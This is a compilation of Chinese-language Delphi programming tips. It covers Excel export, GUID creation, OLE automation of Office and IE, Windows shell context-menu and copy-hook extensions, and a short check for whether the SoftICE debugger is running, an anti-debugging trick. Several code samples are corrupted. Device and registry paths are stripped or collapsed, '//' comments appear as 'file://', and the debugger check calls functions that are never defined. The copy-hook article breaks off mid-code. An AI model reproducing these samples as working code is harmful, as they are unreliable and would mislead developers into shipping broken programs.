XLSLabel[3] := i + 0;//GroupColumnCount;

XLSLabel[4] := $16;

XLSLabel[5] := Length(S);

Stream.WriteBuffer(XLSLabel, SizeOf(XLSLabel));

Stream.WriteBuffer(Pointer(S)^, Length(S));

end;

Inc(TotalCount);

end;

end;

end;

procedure TaExportExcel.DoWriteRecord;

var

C: LongInt;

F: Double;

i, j: Integer;

S: string;

V: Variant;

begin

inherited;

//with Grid do

begin

{if (GroupColumnCount > 0) and (Node <> nil) then

begin

for i := 0 to GroupColumnCount - 1 do

if i = Node.Level then

begin

S := Node.Strings[GroupColumns[Node.Level].Index];

XLSLAbel[1] := Length(S) + 8;

XLSLabel[2] := TotalCount;

XLSLabel[3] := i;

XLSLabel[4] := $17;

XLSLAbel[5] := Length(S);

Stream.WriteBuffer(XLSLabel, SizeOf(XLSLabel));

Stream.WriteBuffer(Pointer(S)^, Length(S));

end

else

begin

XLSBlank[2] := TotalCount;

XLSBlank[3] := i;

Stream.WriteBuffer(XLSBlank, SizeOf(XLSBlank));

end;

end;}

for i := 0 to FaDataSet.Fields.Count - 1 do

begin

{if (Node <> nil) and Node.HasChildren then

begin

XLSBlank[2] := TotalCount;

XLSBlank[3] := GroupColumnCount + i;

Stream.WriteBuffer(XLSBlank, SizeOf(XLSBlank));

end

else

if (Columns[VisColIndexes[i]].FieldName = '') or

not Assigned(Columns[VisColIndexes[i]].Field ) then

begin

XLSLAbel[1] := 8;

XLSLabel[2] := TotalCount;

XLSLabel[3] := i;

XLSLabel[4] := $1D + i;

XLSLAbel[5] := 0;

Stream.WriteBuffer(XLSLabel, SizeOf(XLSLabel));

end

else}

begin

with FaDataSet.Fields[i] do//Columns[VisColIndexes[i]].Field do

begin

{if Node <> nil then

V := Node.Values[Columns[VisColIndexes[i]].Index]

else} V := Value;

// Convert Value

{if Columns[VisColIndexes[i]].ConvertExportValue(V, False) then

case VarType(V) of

varSmallint, varInteger:

begin

if VarIsNull(V) then C := 0

else C := V;

C := C shl 2 + 2;

XLSRK[2] := TotalCount;

XLSRK[3] := GroupColumnCount + i;

XLSRK[4] := $1D + i;

Stream.WriteBuffer(XLSRK, SizeOf(XLSRK));

Stream.WriteBuffer(C, SizeOf(C));

end;

varSingle, varDouble, varCurrency:

begin

if VarIsNull(V) then F := 0.0

else F := V;

XLSNumber[2] := TotalCount;

XLSNumber[3] := GroupColumnCount + i;

XLSNumber[4] := $1D + i;

Stream.WriteBuffer(XLSNumber, SizeOf(XLSNumber));

Stream.WriteBuffer(F, SizeOf(F));

end;

else //String//

begin

if VarIsNull(V) then S := ''

else S := V;

if DataType = ftMemo then

S := Copy(S, 0, 255);

XLSLAbel[1] := Length(S) + 8;

XLSLabel[2] := TotalCount;

XLSLabel[3] := GroupColumnCount + i;

XLSLabel[4] := $1D + i;

XLSLAbel[5] := Length(S);

Stream.WriteBuffer(XLSLabel, SizeOf(XLSLabel));

Stream.WriteBuffer(Pointer(S)^, Length(S));

end;

end

else} {old}

begin

case DataType of

ftSmallint, ftInteger, ftWord, ftAutoInc, ftBytes:

begin

//if Node = nil then

C := AsInteger;

{else

begin

V := TdxDBGridNode(Node).VariantValues[Columns[VisColIndexes[i]].Index];

if V = Null then C := 0

else C := V;

end;}

C := C shl 2 + 2;

XLSRK[2] := TotalCount;

XLSRK[3] := //GroupColumnCount

0 + i;

XLSRK[4] := $1D + i;

Stream.WriteBuffer(XLSRK, SizeOf(XLSRK));

Stream.WriteBuffer(C, SizeOf(C));

end;

ftFloat, ftCurrency, ftBCD:

begin

//if Node = nil then

F := AsFloat;

{else

begin

V := TdxDBGridNode(Node).VariantValues[Columns[VisColIndexes[i]].Index];

if V = Null then F := 0.0

else F := V;

end;}

XLSNumber[2] := TotalCount;

XLSNumber[3] := //GroupColumnCount

0 + i;

XLSNumber[4] := $1D + i;

Stream.WriteBuffer(XLSNumber, SizeOf(XLSNumber));

Stream.WriteBuffer(F, SizeOf(F));

end;

else

begin

//if Node = nil then

S := DisplayText;

{else S := TdxDBGridNode(Node).Strings[Columns[VisColIndexes[i]].Index];}

if DataType = ftMemo then

S := Copy(S, 0, 255);

XLSLAbel[1] := Length(S) + 8;

XLSLabel[2] := TotalCount;

XLSLabel[3] := //GroupColumnCount

0 + i;

XLSLabel[4] := $1D + i;

XLSLAbel[5] := Length(S);

Stream.WriteBuffer(XLSLabel, SizeOf(XLSLabel));

Stream.WriteBuffer(Pointer(S)^, Length(S));

end;

end;

end;

end;

end;

end;

{for j := 0 to GetRowFooterCount(Node) - 1 do

begin

Inc(TotalCount);

for i := 0 to GetNodeFooterLevel(Node,j) do

begin

XLSBlank[2] := TotalCount;

XLSBlank[3] := i;

Stream.WriteBuffer(XLSBlank, SizeOf(XLSBlank));

end;

for i := 0 to VisColCount - 1 do

if not IsExistRowFooterCell(Node,VisColIndexes[i],j) then

begin

XLSBlankRF[2] := TotalCount;

XLSBlankRF[3] := GroupColumnCount + i;

Stream.WriteBuffer(XLSBlankRF, SizeOf(XLSBlankRF));

end

else

begin

S := GetFooterCellText(Node,VisColIndexes[i],j);

XLSLabel[1] := Length(S) + 8;

XLSLabel[2] := TotalCount;

XLSLabel[3] := GroupColumnCount + i;

if (i = 0) and (GroupColumnCount - GetNodeFooterLevel(Node,j) - 1 > 0) then

XLSLabel[3] := GetNodeFooterLevel(Node,j) + 1 ;

XLSLabel[4] := $1B;

XLSLabel[5] := Length(S);

Stream.WriteBuffer(XLSLabel, SizeOf(XLSLabel));

Stream.WriteBuffer(Pointer(S)^, Length(S));

end;

for i := 1 to GroupColumnCount - GetNodeFooterLevel(Node,j) - 1 do

begin

XLSBlankRF[2] := TotalCount;

XLSBlankRF[3] := GroupColumnCount - i + 1;

Stream.WriteBuffer(XLSBlankRF, SizeOf(XLSBlankRF));

end;

end;}

end;

end;

end.

使用：

var

A:TaExportExcel;

begin

A:=TaExportExcel.Create(一个你想要在Excel中显示的字体对象);

A.FileName:=一个excel文件的路径加文件名;

A.aDataSet:=想要导出到excel的DataSet对象

A.Execute;//就导出了

end;


产生GUID

function GetGUID:string;

var

id:tguid;

begin

if CoCreateGuid(id)=s_ok then

result:=guidtostring(id);

end;


COM/OLE/ActiveX [ Dragon P.C ]

如果你正在了解如何通过自动化技术访问Microsoft Office程序或是其它程序，你非常

幸运。我研究该问题有一段时间了，在这里与大家分享，以下有几个大家需要明白的问

题，

首先，有几种OLE方法访问

1. early binding

早期绑订，我理解为，在代码编译时就已经了解你需要操作何种类型的OLE对象，

代码效率要高于以下两种方式。这需要使用到type library，(Project/ Imports Type

Library 或者安装ActiveX控件也可以)，为了给大家有所比较，以下给出一个打开

Access程序的代码。

uses Windows, ComObj, ActiveX, Access_TLB;

var

Access: _Application;

Unknown: IUnknown;

Result: HResult;

begin

Result := GetActiveObject(CLASS_AccessApplication, nil, Unknown);

{Delphi 5}

{Result := GetActiveObject(CLASS_Application_, nil, Unknown);}

{Delphi 4}

if (Result = MK_E_UNAVAILABLE) then begin

Access := CoAccessApplication.Create ; {Delphi 5}

{Access := CoApplication_.Create ;} {Delphi 4}

end

else begin

OleCheck(Result);

OleCheck(Unknown.QueryInterface(_Application, Access));

end;

Access.Visible := True;

...

end ;

2. late binding

后期绑订，使用IDispatch接口，代码编译时并不了解你所需要操作的对象是什

么，程序运行过程中(Runtime)才实现和OLE服务器的真正连接，所有变量使用Variant

类型，代码性能应该较差(仅仅猜测)。但是这种方式代码较为简单易懂，易于自己编写

复杂的控制。以下是一个同样打开Access程序的代码。

var

Access: Variant;

begin

try

Access := GetActiveOleObject('Access.Application');

except

Access := CreateOleObject('Access.Application');

end;

Access.Visible := True;

...

end;

3. 使用 Delphi5 的 server components

这个方式我就不用多说了。打开一个Access程序，代码如下

...

AccessApplication1.Connect;

AccessApplication1.Visible := True;

AccessApplication1.OpenCurrentDatabase('C:.mdb',

True);

...

另外，给大家说明一点，OLE Automatic不仅仅可以对Office系列程序进行操作，支持

ActiveX的程序都可以被访问，比如，你可能可以使用ShellExecute & Ex、

CreateProcess或是WinExec（Win16函数，尽量不使用）函数，启动 IE 进程，但是，

你如果需要近一步的控制，试试用下面的代码。

uses Comobj, ... ... ;

{...}

var

Form1: TForm1;

IEApp: Variant;

{...}

procedure TForm1.Button1Click(Sender: TObject);

begin

IEApp := CreateOLEObject('InternetExplorer.Application');

IEApp.visible := true;

IEApp.Top := 0;

IEApp.Left := 0;

IEApp.width := screen.width;

IEApp.height := screen.height;

IEApp.Navigate('http://www.swissdelphicenter.ch');

end;

procedure TForm1.Closed;

begin

IEApp.quit;

end;

IE的其它的控制：

IEApp.GoForward ;

IEApp.GoBack ;

IEApp.GoHome ;

IEApp.Refresh ;

IEApp.Stop ;

IEApp.GoHome ;

IEApp.FullScreen := true;

IEApp.StatusText := 'My Status Text';

IEApp.Path := Show Path to IE

IEApp.FullName := Full Path to IE

IEApp.LocationURL := Get active Url

不仅仅IE，以下有一些访问其它OLE容器的例子：

http://community.borland.com/article/0,1410,10194,00.html 访问AutoCAD的例子

http://www.wideman-one.com/gw/tech/Visio/delphi/index.htm 访问Visio的例子

http://bukoo.sourceforge.net 一位国人创建了该项目，旨在通过Automatic编程实现

Macromedia Flash的swf文件制作、编辑和播放，有兴趣的朋友可以和版主联系参加该

项目。

以下的函数代码实现将StringGrid存储为Excel文档

function SaveAsExcelFile(StringGrid: TStringGrid; FileName: string):

boolean;

const

xlWBATWorksheet = -4167;

var

Row, Col: integer;

GridPrevFile: string;

XLApp, Sheet: OLEVariant;

begin

Result := false;

XLApp := CreateOleObject('Excel.Application');

try

XLApp.Visible := False;

XLApp.Workbooks.Add(xlWBatWorkSheet);

Sheet := XLApp.Workbooks[1].WorkSheets[1];

Sheet.Name := 'My Sheet Name';

for col := 0 to StringGrid.ColCount - 1 do

for row := 0 to StringGrid.RowCount - 1 do

Sheet.Cells[row + 1,col + 1] := StringGrid.Cells[col, row];

try

XLApp.Workbooks[1].SaveAs(FileName);

Result := True;

except

end;

finally

if not VarIsEmpty(XLApp) then

begin

XLApp.DisplayAlerts := False;

XLApp.Quit;

XLAPP := Unassigned;

Sheet := Unassigned;

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

If SaveAsExcelFile(StringGrid1,'c:.xls') then

ShowMessage('StringGrid saved!');

end;

同样的方式你可以打开CorelDraw文档并进行源码级的操作，打开WinFax为自己自动发

送传真。

....

MyCorelDraw := CreateOleObject('CorelDraw.Automation.8');

....

MyWinFax := CreateOleObject('WinFax.SDKSend');

....

自动化技术包罗万千，实在不是一个简单篇幅能够给你说清楚的，我将自动化技术的核

心技术介绍了一下，自动化技术其实只是Delphi给出接口( xxxx_TLB.pas － 这种type

libarary文件已经有com对象的详细接口、属性和方法列表 )，接口相应的实现全部是

由应用程序来完成的。让所有注册的应用程序为你所用，你甚至可以开发一个超级的文

件查看器，可以查看甚至操作PhotoShop、Microsoft Office、CorelDraw、AutoCAD、

Visio、PDF文档等等等等。Microsoft几乎将所有软件变成了ActiveX、或是ActiveX容

器，这是一个跨开发平台的策略，无论VB、VC、Delphi或者其它的开发平台，只要支持

ActiveX就可以使用，传统的API开发已经是越来越...唉... 奉劝大家需要多多研究和

学习这种新型的开发模式。我对此的研究到此为止，如果朋友有什么心得和补充，也请

不吝赐教。


OLE的一个问题

请问各位高手，小弟用ole容器调用word时，word加入菜单后，却没有“文件”这一个菜单，我只需要文件中的页面设置和打印预览这两个菜单，请问如何增加，谢谢赐教！

什么加"word加入菜单"?

就是word将原有的菜单与他本身的菜单合并起来，但是就是缺少“文件”这个子菜单

1.这是 Delphi VCL 底层控件 TOleForm 的限制，如果你确实需要“文件”菜单只能自己手动在 OleContainer 所在的 Form 中添加 TMainMenu并且设置相关MenuItem, OleContainer中的Word 激活后自然Menu会融合在一起。具体融合情况与MenuItem 的GroupIndex 有关，可参照 Delphi 的 Help.

2.Pizza 的话很对，OleContainer 只鼓励编辑文档，而不愿提供保存，打印等支持。我们只能在自己手动添加的MenuItem相应的OnClick处理函数自己完成这些工作。这就要复杂多了，要调用Word的Automation方法来完成。答案是可以完成的，但速度实在是个问题。关于Word的Automation 方法可查阅 Word 的 VBA Help.


利用delphi编写windows外壳扩展

利用delphi编写windows外壳扩展

对于操作系统原理比较了解的朋友都会知道，一个完备的操作系统都会提供了一个外壳（shell），以方便普通的用户

使用操作系统提供的各种功能。windows（在这里指的是windows 95nt4.0以上版本的操作系统）的外壳不但提供

了方便美观的gui图形界面，而且还提供了强大的外壳扩展功能，大家可能在很多软件中看到这些外壳扩展了。例如在你的

系统中安装了winzip的话，当你在windows explore中鼠标右键点击文件夹或者文件后，在弹出菜单中就会出现winzip的压

缩菜单。又或者bullet ftp中在windows资源管理器中出现的ftp站点文件夹。

windows支持七种类型的外壳扩展（称为handler），它们相应的作用简述如下：

    (1)context menu handlers：向特定类型的文件对象增添上下文相关菜单；

    (2)drag-and-drop handlers用来支持当用户对某种类型的文件对象进行拖放操作时的ole数据传输；

    (3)icon handlers用来向某个文件对象提供一个特有的图标，也可以给某一类文件对象指定图标；

    (4)property sheet handlers给文件对象增添属性页（就是右键点击文件对象或文件夹对象后，在弹出菜单中选属性

项后出现的对话框），属性页可以为同一类文件对象所共有，也可以给一个文件对象指定特有的属性页；

    (5)copy-hook handlers在文件夹对象或者打印机对象被拷贝、移动、删除和重命名时，就会被系统调用，通过为windows

增加copy-hook handlers，可以允许或者禁止其中的某些操作；

    (6)drop target handlers在一个对象被拖放到另一个对象上时，就会被系统被调用；

    (7)data object handlers在文件被拖放、拷贝或者粘贴时，就会被系统被调用。

    windows的所有外壳扩展都是基于com(component object model) 组件模型的，外壳是通过接口(interface)来访问对象的。

外壳扩展被设计成32位的进程中服务器程序，并且都是以动态链接库的形式为操作系统提供服务的。因此，如果要对windows

的用户界面进行扩充的话，则具备写com对象的一些知识是十分必要的。 由于篇幅所限，在这里就不介绍com，读者可以参考

微软的msdn库或者相关的帮助文档，一个接口可以看做是一个特殊的类，它包含一组函数合过程可以用来操作一个对象。

写好外壳扩展程序后，必须将它们注册才能生效。所有的外壳扩展都必须在windows注册表的hkey_classes_root键

之下进行注册。在该键下面可以找到许多名字像{0000002f-0000-0000-c000-000000000046}的键，这类键就是全局唯一类标识

符(guid)。每一个外壳扩展都必须有一个全局唯一类标识符，windows正是通过此唯一类标识符来找到外壳扩展处理程序的。

在类标识符之下的inprocserver32子键下记录着外壳扩展动态链接库在系统中的位置。与某种文件类型关联的外壳扩展注册在

相应类型的shellex主键下。如果所处的windows操作系统为windows nt，则外壳扩展还必须在注册表中的

hkey_local_machine主键下登记。

编译完外壳扩展的dll程序后就可以用windows本身提供的regsvr32.exe来注册该dll服务器程序了。如果使用delphi，也可

以在run菜单中选择register activex server来注册。

下面首先介绍一个比较常用的外壳扩展应用：上下文相关菜单，在windows中，用鼠标右键单击文件或者文件夹时弹出的那

个菜单便称为上下文相关菜单。要动态地在上下文相关菜单中增添菜单项，可以通过写context menu handler来实现。比如大家

所熟悉的winzip和ultraedit等软件都是通过编写context menu handler来动态地向菜单中增添菜单项的。如果系统中安装了

winzip，那么当用右键单击一个名为windows的文件（夹）时，其上下文相关菜单就会有一个名为add to windows.zip的菜单项。

本文要实现的context menu handler与winzip提供的上下文菜单相似。它将在任意类型的文件对象的上下文相关菜单中添加一个

文件操作菜单项，当点击该项后，接口程序就会弹出一个文件操作窗口，执行文件拷贝、移动等操作。

  编写context menu handler必须实现ishellextinit、icontextmenu和tcomobjectfactory三个接口。ishellextinit实现

接口的初始化，icontextmenu接口对象实现上下文相关菜单，icomobjectfactory接口实现对象的创建。

下面来介绍具体的程序实现。首先在delphi中点击菜单的 file|new 项，在new item窗口中选择dll建立一个dll工程文件。

然后点击菜单的 file|new 项，在new item窗口中选择unit建立一个unit文件，点击点击菜单的 file|new 项，在new item窗口

中选择form建立一个新的窗口。将将工程文件保存为contextmenu.dpr ，将unit1保存为contextmenuhandle.pas，将form保存为

opwindow.pas。

contextmenu.dpr的程序清单如下：

library contextmenu;

uses

comserv,

contextmenuhandle in 'contextmenuhandle.pas',

opwindow in 'opwindow.pas' {form2};

exports

dllgetclassobject,

dllcanunloadnow,

dllregisterserver,

dllunregisterserver;

{$r *.tlb}

{$r *.res}

begin

end.

contextmenuhandle的程序清单如下：

unit contextmenuhandle;

interface

uses windows,activex,comobj,shlobj,classes;

type

tcontextmenu = class(tcomobject,ishellextinit,icontextmenu)

private

ffilename: array[0..max_path] of char;

protected

function ishellextinit.initialize = seiinitialize; // avoid compiler warning

function seiinitialize(pidlfolder: pitemidlist; lpdobj: idataobject;

hkeyprogid: hkey): hresult; stdcall;

function querycontextmenu(menu: hmenu; indexmenu, idcmdfirst, idcmdlast,

uflags: uint): hresult; stdcall;

function invokecommand(var lpici: tcminvokecommandinfo): hresult; stdcall;

function getcommandstring(idcmd, utype: uint; pwreserved: puint;

pszname: lpstr; cchmax: uint): hresult; stdcall;

end;

const

class_contextmenu: tguid = '{19741013-c829-11d1-8233-0020af3e97a0}';

{全局唯一标识符(guid)是一个16字节（128为）的值，它唯一地标识一个接口(interface)}

var

filelist:tstringlist;

implementation

uses comserv, sysutils, shellapi, registry,unitform;

function tcontextmenu.seiinitialize(pidlfolder: pitemidlist; lpdobj: idataobject;

hkeyprogid: hkey): hresult;

var

stgmedium: tstgmedium;

formatetc: tformatetc;

filenumber,i:integer;

begin

file://如果lpdobj等于nil，则本调用失败

if (lpdobj = nil) then begin

result := e_invalidarg;

exit;

end;

file://首先初始化并清空filelist以添加文件

filelist:=tstringlist.create;

filelist.clear;

file://初始化剪贴版格式文件

with formatetc do begin

cfformat := cf_hdrop;

ptd := nil;

dwaspect := dvaspect_content;

lindex := -1;

tymed := tymed_hglobal;

end;

result := lpdobj.getdata(formatetc, stgmedium);

if failed(result) then exit;

file://首先查询用户选中的文件的个数

filenumber := dragqueryfile(stgmedium.hglobal,$ffffffff,nil,0);

file://循环读取，将所有用户选中的文件保存到filelist中

for i:=0 to filenumber-1 do begin

dragqueryfile(stgmedium.hglobal, i, ffilename, sizeof(ffilename));

filelist.add(ffilename);

result := noerror;

end;

releasestgmedium(stgmedium);

end;

function tcontextmenu.querycontextmenu(menu: hmenu; indexmenu, idcmdfirst,

idcmdlast, uflags: uint): hresult;

begin

result := 0;

if ((uflags and $0000000f) = cmf_normal) or

((uflags and cmf_explore) <> 0) then begin

// 往context menu中加入一个菜单项 ,菜单项的标题为察看位图文件

insertmenu(menu, indexmenu, mf_string or mf_byposition, idcmdfirst,

pchar('文件操作'));

// 返回增加菜单项的个数

result := 1;

end;

end;

function tcontextmenu.invokecommand(var lpici: tcminvokecommandinfo): hresult;

var

frmop:tform1;

begin

// 首先确定该过程是被系统而不是被一个程序所调用

if (hiword(integer(lpici.lpverb)) <> 0) then

begin

result := e_fail;

exit;

end;

// 确定传递的参数的有效性

if (loword(lpici.lpverb) <> 0) then begin

result := e_invalidarg;

exit;

end;

file://建立文件操作窗口

frmop:=tform1.create(nil);

file://将所有的文件列表添加到文件操作窗口的列表中

frmop.listbox1.items := filelist;

result := noerror;

end;

function tcontextmenu.getcommandstring(idcmd, utype: uint; pwreserved: puint;

pszname: lpstr; cchmax: uint): hresult;

begin

if (idcmd = 0) then begin

if (utype = gcs_helptext) then

{返回该菜单项的帮助信息，此帮助信息将在用户把鼠标

移动到该菜单项时出现在状态条上。}

strcopy(pszname, pchar('点击该菜单项将执行文件操作'));

result := noerror;

end

else

result := e_invalidarg;

end;

type

tcontextmenufactory = class(tcomobjectfactory)

public

procedure updateregistry(register: boolean); override;

end;

procedure tcontextmenufactory.updateregistry(register: boolean);

var

classid: string;

begin

if register then begin

inherited updateregistry(register);

classid := guidtostring(class_contextmenu);

file://当注册扩展库文件时，添加库到注册表中

createregkey('*', '', '');

createregkey('*', '', '');

createregkey('*', '', classid);

file://如果操作系统为windows nt的话

if (win32platform = ver_platform_win32_nt) then

with tregistry.create do

try

rootkey := hkey_local_machine;

openkey('softwareextensions', true);

openkey('approved', true);

writestring(classid, 'context menu shell extension');

finally

free;

end;

end

else begin

deleteregkey('*');

inherited updateregistry(register);

end;

end;

initialization

tcontextmenufactory.create(comserver, tcontextmenu, class_contextmenu,

'', 'context menu shell extension', cimultiinstance,tmapartment);

end.

在opwindow窗口中加入一个tlistbox控件和两个tbutton控件，opwindows.pas的程序清单如下：

unit opwindow;

interface

uses

windows, messages, sysutils, classes, graphics, controls, forms, dialogs,

extctrls, stdctrls,shlobj,shellapi,activex;

type

tform1 = class(tform)

listbox1: tlistbox;

button1: tbutton;

button2: tbutton;

procedure formcreate(sender: tobject);

procedure formclose(sender: tobject; var action: tcloseaction);

procedure button1click(sender: tobject);

procedure button2click(sender: tobject);

private

{ private declarations }

public

filelist:tstringlist;

{ public declarations }

end;

var

form1: tform1;

implementation

{$r *.dfm}

procedure tform1.formcreate(sender: tobject);

begin

filelist:=tstringlist.create;

button1.caption :='复制文件';

button2.caption :='移动文件';

self.show;

end;

procedure tform1.formclose(sender: tobject; var action: tcloseaction);

begin

filelist.free;

end;

procedure tform1.button1click(sender: tobject);

var

spath:string;

fstemp:shfileopstruct;

i:integer;

begin

spath:=inputbox('文件操作','输入复制路径','c:');

if spath<>''then begin

fstemp.wnd := self.handle;

file://设置文件操作类型

fstemp.wfunc :=fo_copy;

file://允许执行撤消操作

fstemp.fflags :=fof_allowundo;

for i:=0 to listbox1.items.count-1 do begin

file://源文件全路径名

fstemp.pfrom := pchar(listbox1.items.strings[i]);

file://要复制到的路径

fstemp.pto := pchar(spath);

fstemp.lpszprogresstitle:='拷贝文件';

if shfileoperation(fstemp)<>0 then

showmessage('文件复制失败');

end;

end;

end;

procedure tform1.button2click(sender: tobject);

var

spath:string;

fstemp:shfileopstruct;

i:integer;

begin

spath:=inputbox('文件操作','输入移动路径','c:');

if spath<>''then begin

fstemp.wnd := self.handle;

fstemp.wfunc :=fo_move;

fstemp.fflags :=fof_allowundo;

for i:=0 to listbox1.items.count-1 do begin

fstemp.pfrom := pchar(listbox1.items.strings[i]);

fstemp.pto := pchar(spath);

fstemp.lpszprogresstitle:='移动文件';

if shfileoperation(fstemp)<>0 then

showmessage('文件复制失败');

end;

end;

end;

end.

点击菜单的 project | build contextmenu 项，delphi就会建立contextmenu.dll文件，这个就是上下文相关菜单程序了。

使用，regsvr32.exe 注册程序，然后在windows的explore 中在任意的一个或者几个文件中点击鼠标右键，在上下文菜单中就会

多一个文件操作的菜单项，点击该项，在弹出窗口的列表中会列出你所选择的所有文件的文件名，你可以选择拷贝文件按钮或者

移动文件按钮执行文件操作。


怎样发现是否有 SOFTICE在运行？

怎样发现是否有 SOFTICE在运行？

----------一个有意思的话题

I am trying to figure out how can I check if NuMega SoftIce is running? Any API calls?

function SoftIce95Running : Boolean;

var

hFile : THandle;

begin

Result := False;

hFile := CreateFile ('\.',

GENERIC_READ or GENERIC_WRITE,

FILE_SHARE_READ or FILE_SHARE_WRITE,

nil,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,

0);

if hFile <> INVALID_HANDLE_VALUE then begin

CloseHandle (hFile);

Result := True;

end;

end;

function SoftIceNTRunning : Boolean;

var

hFile : THandle;

begin

Result := False;

hFile := CreateFile ('\.',

GENERIC_READ or GENERIC_WRITE,

FILE_SHARE_READ or FILE_SHARE_WRITE,

nil,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,

0);

if hFile <> INVALID_HANDLE_VALUE then begin

CloseHandle (hFile);

Result := True;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if IsSoftIce95Loaded or IsSoftIceNTLoaded then

begin

//Do something if Softice is loaded

end;

end;


利用Windows外壳扩展保护文件夹

利用Windows外壳扩展保护文件夹

在Win32操作系统（包括Win9X、Windows NT、Windows 2000）不但有方便的图形用户（GUI）界面，微软还为windows用户界面保留了强大的可扩充性。其中对于Windows界面的操作环境（这里称为外壳Shell），微软提供了一种称为外壳扩展（Shell Extensions）的功能来实现文件系统操作的可编程性。如果你的机器中安装了Word 7.0以上的版本，当你鼠标右键单击一个DOC文件，在弹出菜单中选“属性”项，在属性页中不仅显示显示文件的大小、建立日期等信息，同时还增加了Doc文档的摘要、统计等信息；又例如安装了winZip 6.0以上版本后，当选中一个或多个文件或文件夹后在单击鼠标右键，在弹出的右键菜单中就增加了“Add To Zip”等一个zip文件压缩选项。上面的这些功能都是通过Windows外壳扩展来实现的。

Windows外壳扩展是这样实现的。首先要编写外壳扩展程序，一个外壳扩展程序是基于COM(Component Object Model)组件模型的。外壳是通过接口(Interface)来访问对象的。外壳扩展被设计成32位的进程中服务器程序，并且都是以动态链接库的形式为操作系统提供服务的。

写好外壳扩展程序后，必须将它们注册才能生效。所有的外壳扩展都必须在Windows注册表的HKEY_CLASSES_ROOT键之下进行注册。在该键下面可以找到许多名字像{ACDE002F-0000-0000-C000-000000000046}的键，这类键就是全局唯一类标识符。每一个外壳扩展都必须有一个全局唯一类标识符，Windows正是通过此唯一类标识符来找到外壳扩展处理程序的。在类标识符之下的InProcServer32子键下记录着外壳扩展动态链接库在系统中的位置。

Windows系统支持以下7类的外壳扩展功能：

(1)Context menu handlers向特定类型的文件对象增添上下文相关菜单；

(2)Drag-and-drop handlers用来支持当用户对某种类型的文件对象进行拖放操作时的OLE数据传输；

(3)Icon handlers用来向某个文件对象提供一个特有的图标，也可以给某一类文件对象指定图标；

(4)Property sheet handlers给文件对象增添属性页，属性页可以为同一类文件对象所共有，也可以给一个文件对象指定特有的属性页；

(5)Copy-hook handlers在文件夹对象或者打印机对象被拷贝、移动、删除和重命名时，就会被系统调用，通过为Windows增加Copy-hook handlers，可以允许或者禁止其中的某些操作；

(6)Drop target handlers在一个对象被拖放到另一个对象上时，就会被系统被调用；

(7)Data object handlers在文件被拖放、拷贝或者粘贴时，就会被系统被调用。

本文介绍的文件夹保护功能就是通过上面的第5类，既Copy-hook handlers来实现的。一个支持Copy-hook handlers的程序除了上面提到的要在注册表的HKEY_CLASSES_ROOT下注册之外，还需要在HKEY_CLASSES_ROOT\u19979下注册服务器程序的类。

由于Windows外壳服务器程序是基于COM组件模型的，所以编写外壳程序就是构造一个COM对象的过程，由于Delphi4.0以上的版本支持Windows外壳扩展和COM组件模型，所以可以利用Delphi来编写外壳扩展程序。

利用Delphi编写Copy-hook handle需要实现ICopyHook接口。ICopyHook是一个十分简单的接口，要实现的只有CopyCallBack方法。ICopyHook的CopyCallBack方法的定义如下：

UINT CopyCallback(

HWND hwnd, file://Handle of the parent window for displaying UI objects

UINT wFunc, file://Operation to perform.

UINT wFlags, file://Flags that control the operation

LPCSTR pszSrcFile, file://Pointer to the source file

DWORD dwSrcAttribs, file://Source file attributes

LPCSTR pszDestFile, file://Pointer to the destination file

DWORD dwDestAttribs file://Destination file attributes

);

其中的参数hwnd是一个窗口句柄，Copy-hook handle以此为父窗口。参数wFunc指定要被执行的操作，其取值为下表中所列之一：

常量 取值 含义

FO_COPY $2 复制由pszSrcFile指定的文件到由pszDestFile指定的位置。

FO_DELETE $3 删除由pszSrcFile指定的文件。

FO_MOVE $1 移动由pszSrcFile指定的文件到由pszDestFile指定的位置。

FO_RENAME $4 重命名由pszSrcFile指定的文件到由pszDestFile指定的文件名。

PO_DELETE $13 删除pszSrcFile指定的打印机。

PO_PORTCHANGE $20 改变打印机端口。PszSrcFile和pszDestFile为两个以Null结尾的字符串，分别指定当前和新的打印机端口名。

PO_RENAME $14 重命名由pszSrcFile指定的打印机端口。

PO_REN_PORT $34 PO_RENAME和PO_PORTCHANGE的组合。

参数wFlags指定操作的标志；参数pszSrcFile和pszDestFile指定源文件夹和目标文件夹。参数dwSrcAttribs和dwDesAttribs指定源文件夹和目标文件夹的属性。函数返回值可以为IDYES、IDNO和IDCANCEL。分别指示Windows外壳允许操作、阻止操作，但是其他操作继续、阻止当前操作，取消为执行的操作。

下面是具体的程序实现：

首先在Delphi的菜单中选 File|New选项，选择其中的DLL图标，按Ok键建立一个DLL工程文件，在其中添加以下代码：

library CopyHook;

uses

ComServ,

CopyMain in 'CopyMain.pas';

exports

DllGetClassObject,

DllCanUnloadNow,

DllRegisterServer,

DllUnregisterServer;

{$R *.TLB}

{$R *.RES}

begin

end.

将文件保存为 CopyHook.dpr。再在Delphi菜单中选File|New选项，选择其中的Unit图标，按Ok键建立一个Pas文件，在其中加入以下代码：

unit CopyMain;

interface

uses Windows, ComObj, ShlObj;

type

TCopyHook = class(TComObject, ICopyHook)

protected

function CopyCallback(Wnd: HWND; wFunc, wFlags: UINT; pszSrcFile: PAnsiChar;

dwSrcAttribs: DWORD; pszDestFile: PAnsiChar; dwDestAttribs: DWORD): UINT; stdcall;

end;

TCopyHookFactory = class(TComObjectFactory)

protected

function GetProgID: string; override;

procedure ApproveShellExtension(Register: Boolean; const ClsID: string);

virtual;

public

procedure UpdateRegistry(Register: Boolean); override;

end;

implementation

uses ComServ, SysUtils, Registry;

{ TCopyHook }

file://当Windows外壳程序执行文件夹或者打印机端口操作时，CopyCallBack

file://方法就会被调用。

function TCopyHook.CopyCallback(Wnd: HWND; wFunc, wFlags: UINT;

pszSrcFile: PAnsiChar; dwSrcAttribs: DWORD; pszDestFile: PAnsiChar;

dwDestAttribs: DWORD): UINT;

const

FO_COPY = 2;

FO_DELETE = 3;

FO_MOVE = 1;

FO_RENAME = 4;

var

sOp:string;

begin

Case wFunc of

FO_COPY: sOp:=format('你确定要将 %s 拷贝到 %s 吗？',[pszSrcFile,pszDestFile]);

FO_DELETE: sOp:=format('你确定要将 %s 删除吗？',[pszSrcFile]);

FO_MOVE: sOp:=format('你确定要将 %s 转移到 %s 吗？',[pszSrcFile,pszDestFile]);

FO_RENAME: sOp:=format('你确定要将 %s 重命名为 %s 吗？',[pszSrcFile,pszDestFile]);

else

